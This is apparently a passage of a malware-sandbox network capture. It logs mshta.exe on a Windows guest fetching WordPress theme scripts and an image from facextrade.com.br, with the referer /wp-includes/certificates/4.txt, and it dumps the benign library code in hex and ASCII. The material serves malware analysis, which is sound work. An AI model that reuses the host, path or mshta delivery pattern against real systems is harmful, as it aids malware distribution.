                                                              Data Ascii: /** * jQuery Mobile Menu * Turn unordered list menu into dropdown select menu * version 1.0(31-OCT-2011) * * Built on top of the jQuery library * http://jquery.com * * Documentation * http://github.com/mambows/mobilemenu */(function($){$.fn.mobileMenu = function(options) {var defaults = {defaultText: 'Navigate to...',className: 'select-menu',subMenuClass: 'sub-menu',subMenuDash: '&ndash;'},settings = $.extend( defaults, options ),el = $(this);$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')this.each(function(){// ad class to submenu listel.find('ul').addClass(settings.subMenuClass);// Create base menu$('<select />',{'class':settings.className}).insertAfter(el);// Create default option$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );// Create
                                                              Aug 16, 2022 10:33:28.709773064 CEST2485OUTGET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:28.945609093 CEST2490INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:47 GMT
                                                              Server: Apache
                                                              ETag: "a53533-50bd-58592d4a732c0"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                              Content-Length: 20669
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337814 21929319
                                                              Age: 281
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 21 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 2d 20 76 30 2e 39 2e 33 20 2d 20 32 30 31 33 2d 30 37 2d 31 36 0a 2a 20 68 74 74 70 3a 2f 2f 64 69 6d 73 65 6d 65 6e 6f 76 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 6d 61 67 6e 69 66 69 63 2d 70 6f 70 75 70 2f 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 33 20 44 6d 69 74 72 79 20 53 65 6d 65 6e 6f 76 3b 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 69 2c 6e 2c 6f 2c 61 2c 72 2c 73 2c 6c 3d 22 43 6c 6f 73 65 22 2c 63 3d 22 42 65 66 6f 72 65 43 6c 6f 73 65 22 2c 64 3d 22 41 66 74 65 72 43 6c 6f 73 65 22 2c 75 3d 22 42 65 66 6f 72 65 41 70 70 65 6e 64 22 2c 70 3d 22 4d 61 72 6b 75 70 50 61 72 73 65 22 2c 66 3d 22 4f 70 65 6e 22 2c 6d 3d 22 43 68 61 6e 67 65 22 2c 67 3d 22 6d 66 70 22 2c 76 3d 22 2e 22 2b 67 2c 68 3d 22 6d 66 70 2d 72 65 61 64 79 22 2c 43 3d 22 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 22 2c 79 3d 22 6d 66 70 2d 70 72 65 76 65 6e 74 2d 63 6c 6f 73 65 22 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 3d 21 21 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 49 3d 65 28 77 69 6e 64 6f 77 29 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 74 2e 65 76 2e 6f 6e 28 67 2b 65 2b 76 2c 69 29 7d 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 6f 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 6d 66 70 2d 22 2b 74 2c 6e 26 26 28 61 2e 69 6e 6e 65 72 48 54 4d 4c 3d 6e 29 2c 6f 3f 69 26 26 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3a 28 61 3d 65 28 61 29 2c 69 26 26 61 2e 61 70 70 65 6e 64 54 6f 28 69 29 29 2c 61 7d 2c 54 3d 66 75 6e 63 74 69 6f 6e 28 69 2c 6e 29 7b 74 2e 65 76 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 67 2b 69 2c 6e 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 26 26 28 69 3d 69 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 29 2c 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 26 26 74 2e 73 74 2e 63 61 6c 6c 62 61 63 6b 73 5b 69 5d 2e 61 70 70 6c 79 28 74 2c 65 2e 69 73 41 72 72 61 79 28 6e 29 3f 6e 3a 5b 6e 5d 29 29 7d 2c 45 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 28 74 2e 73 74 2e 66 6f 63 75 73 3f 74 2e 63 6f 6e 74 65 6e 74 2e 66 69 6e 64 28 74 2e 73 74 2e 66 6f 63 75 73 29 2e 65 71 28 30 29 3a 74 2e 77 72 61 70 29 2e 74 72 69 67 67 65 72 28 22 66 6f 63 75 73 22 29 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 73 26 26 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 7c 7c 28 74 2e 63 75 72 72 54 65 6d 70 6c 61 74 65 2e 63 6c 6f 73 65 42 74 6e 3d 65 28 74 2e 73 74 2e 63 6c 6f 73 65 4d 61 72 6b 75 70 2e 72 65 70 6c 61 63 65 28 22 25 74 69 74 6c 65 25 22 2c 74 2e 73 74 2e 74 43 6c 6f 73 65 29 29 2c 73 3d 69 29 2c 74 2e 63 75 72 72
                                                              Data Ascii: /*! Magnific Popup - v0.9.3 - 2013-07-16* http://dimsemenov.com/plugins/magnific-popup/* Copyright (c) 2013 Dmitry Semenov; */(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn||(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.curr
                                                              Aug 16, 2022 10:33:28.950799942 CEST2512OUTGET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.185622931 CEST2523INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:28:49 GMT
                                                              Server: Apache
                                                              ETag: "a53516-d453-58592d4a732c0"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                              Content-Length: 54355
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337816 23530217
                                                              Age: 279
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 2f 2a 0a 20 2a 20 6a 50 6c 61 79 65 72 20 50 6c 75 67 69 6e 20 66 6f 72 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6a 70 6c 61 79 65 72 2e 6f 72 67 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 2d 20 32 30 31 34 20 48 61 70 70 79 77 6f 72 6d 20 4c 74 64 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0a 20 2a 0a 20 2a 20 41 75 74 68 6f 72 3a 20 4d 61 72 6b 20 4a 20 50 61 6e 61 67 68 69 73 74 6f 6e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a 20 32 2e 36 2e 30 0a 20 2a 20 44 61 74 65 3a 20 32 6e 64 20 41 70 72 69 6c 20 32 30 31 34 0a 20 2a 2f 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 66 29 3a 62 2e 6a 51 75 65 72 79 3f 66 28 62 2e 6a 51 75 65 72 79 29 3a 66 28 62 2e 5a 65 70 74 6f 29 7d 29 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 66 29 7b 62 2e 66 6e 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 2c 64 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 2c 31 29 2c 65 3d 74 68 69 73 3b 61 3d 21 63 26 26 64 2e 6c 65 6e 67 74 68 3f 62 2e 65 78 74 65 6e 64 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 5b 21 30 2c 61 5d 2e 63 6f 6e 63 61 74 28 64 29 29 3a 61 3b 69 66 28 63 26 26 22 5f 22 3d 3d 3d 61 2e 63 68 61 72 41 74 28 30 29 29 72 65 74 75 72 6e 20 65 3b 63 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 2c 68 3d 63 26 26 62 2e 69 73 46 75 6e 63 74 69 6f 6e 28 63 5b 61 5d 29 3f 63 5b 61 5d 2e 61 70 70 6c 79 28 63 2c 64 29 3a 63 3b 69 66 28 68 21 3d 3d 63 26 26 68 21 3d 3d 66 29 72 65 74 75 72 6e 20 65 3d 68 2c 21 31 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 29 3b 63 3f 63 2e 6f 70 74 69 6f 6e 28 61 7c 7c 0a 7b 7d 29 3a 62 28 74 68 69 73 29 2e 64 61 74 61 28 22 6a 50 6c 61 79 65 72 22 2c 6e 65 77 20 62 2e 6a 50 6c 61 79 65 72 28 61 2c 74 68 69 73 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 3b 62 2e 6a 50 6c 61 79 65 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 65 6c 65 6d 65 6e 74 3d 62 28 63 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 7d 2c 74 68 69 73 2e 6f 70 74
                                                              Data Ascii: /* * jPlayer Plugin for jQuery JavaScript Library * http://www.jplayer.org * * Copyright (c) 2009 - 2014 Happyworm Ltd * Licensed under the MIT license. * http://opensource.org/licenses/MIT * * Author: Mark J Panaghiston * Version: 2.6.0 * Date: 2nd April 2014 */(function(b,f){"function"===typeof define&&define.amd?define(["jquery"],f):b.jQuery?f(b.jQuery):f(b.Zepto)})(this,function(b,f){b.fn.jPlayer=function(a){var c="string"===typeof a,d=Array.prototype.slice.call(arguments,1),e=this;a=!c&&d.length?b.extend.apply(null,[!0,a].concat(d)):a;if(c&&"_"===a.charAt(0))return e;c?this.each(function(){var c=b(this).data("jPlayer"),h=c&&b.isFunction(c[a])?c[a].apply(c,d):c;if(h!==c&&h!==f)return e=h,!1}):this.each(function(){var c=b(this).data("jPlayer");c?c.option(a||{}):b(this).data("jPlayer",new b.jPlayer(a,this))});return e};b.jPlayer=function(a,c){if(arguments.length){this.element=b(c);this.options=b.extend(!0,{},this.opt
                                                              Aug 16, 2022 10:33:29.425102949 CEST2583OUTGET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.669956923 CEST2588INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:29 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT
                                                              Content-Length: 10762
                                                              Content-Type: application/x-javascript
                                                              X-Pad: avoid browser bug
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337819
                                                              Age: 0
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 7a 41 63 63 6f 72 64 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 7b 74 69 6d 65 6f 75 74 3a 36 30 30 30 2c 77 69 64 74 68 3a 6e 75 6c 6c 2c 73 6c 69 64 65 57 69 64 74 68 3a 6e 75 6c 6c 2c 74 61 62 57 69 64 74 68 3a 6e 75 6c 6c 2c 68 65 69 67 68 74 3a 6e 75 6c 6c 2c 73 74 61 72 74 69 6e 67 53 6c 69 64 65 3a 30 2c 73 6c 69 64 65 43 6c 61 73 73 3a 6e 75 6c 6c 2c 65 61 73 69 6e 67 3a 6e 75 6c 6c 2c 73 70 65 65 64 3a 31 32 30 30 2c 61 75 74 6f 3a 74 72 75 65 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 70 61 75 73 65 3a 74 72 75 65 2c 69 6e 76 65 72 74 3a 66 61 6c 73 65 2c 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 75 69 6c 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 73 3a 66 61 6c 73 65 7d 2c 63 3d 7b 64 69 73 70 6c 61 79 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 66 29 7b 69 66 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 66 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 7a 41 63 63 6f 72 64 69 6f 6e 3a 20 22 2b 67 2b 22 2e 22 29 7d 7d 2c 66 69 6e 64 43 68 69 6c 64 45 6c 65 6d 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 2e 63 68 69 6c 64 72 65 6e 28 29 2e 67 65 74 28 30 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 2c 67 65 74 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 66 3d 68 2b 31 3b 69 66 28 66 3e 3d 67 29 7b 66 3d 30 7d 72 65 74 75 72 6e 20 66 7d 2c 66 69 78 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 66 2e 68 65 69 67 68 74 3d 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 21 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 7d 7d 2c 67 65 74 55 6e 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 25 22 7d 65 6c 73 65 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 70 78 22 7d 65 6c 73 65 7b 72 65 74 75 72 6e 22 70 78 22 7d 7d 7d 7d 2c 74 6f 49 6e 74 65 67 65 72 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 72
                                                              Data Ascii: (function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){r
                                                              Aug 16, 2022 10:33:29.677367926 CEST2599OUTGET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:29.913752079 CEST2642INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:29 GMT
                                                              Server: Apache
                                                              Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT
                                                              Content-Length: 1391
                                                              Content-Type: application/x-javascript
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 13337821
                                                              Age: 0
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 3b 69 66 28 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 69 66 28 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 65 3d 21 30 3b 69 66 28 63 2e 77 70 3d 63 2e 77 70 7c 7c 7b 7d 2c 21 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 29 69 66 28 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 64 61 74 61 3b 69 66 28 74 29 69 66 28 74 2e 73 65 63 72 65 74 7c 7c 74 2e 6d 65 73 73 61 67 65 7c 7c 74 2e 76 61 6c 75 65 29 69 66 28 21 2f 5b 5e 61 2d 7a 41 2d 5a 30 2d 39 5d 2f 2e 74 65 73 74 28 74 2e 73 65 63 72 65 74 29 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 69 2c 73 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 66 72 61 6d 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6e 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 62 6c 6f 63 6b 71 75 6f 74 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 72 3d 73 5b 6f 5d 2c 65 2e 73 6f 75 72 63 65 3d 3d 3d 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 29 7b 69 66 28 72 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 68 65 69 67 68 74 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 7b 69 66 28 31 65 33 3c 28 69 3d 70 61 72 73 65 49 6e 74 28 74 2e 76 61 6c 75 65 2c 31 30 29 29 29 69 3d 31 65 33 3b 65 6c 73 65 20 69 66 28 7e 7e 69 3c 32 30 30 29 69 3d 32 30 30 3b 72 2e 68 65 69 67 68 74 3d 69 7d 69 66 28 22 6c 69 6e 6b 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 69 66 28 61 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 69 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 61 2e 68 72 65 66 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 69 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 2c 69 2e 68 6f 73 74 3d 3d 3d 61 2e 68 6f 73 74 29 69 66 28 64 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 72 29 63 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 7d 7d 7d 2c 65 29 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 2c 21 31 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 74 2c 21 31 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 74 2c 21 31 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 6e 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72 20 65 2c 74 2c 72 3d 2d 31 21 3d 3d 6e 61 76 69 67 61 74 6f 72 2e 61 70 70 56 65 72 73 69 6f 6e 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49
                                                              Data Ascii: !function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret||t.message||t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appVersion.indexOf("MSI


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              26192.168.2.2249201187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:25.248636961 CEST1438OUTGET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:25.485527992 CEST1454INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:24:21 GMT
                                                              Server: Apache
                                                              ETag: "a53864-d9abf-58592d61568c0"
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:47 GMT
                                                              Content-Length: 891583
                                                              Content-Type: image/jpeg
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 17727193 14605256
                                                              Age: 544
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
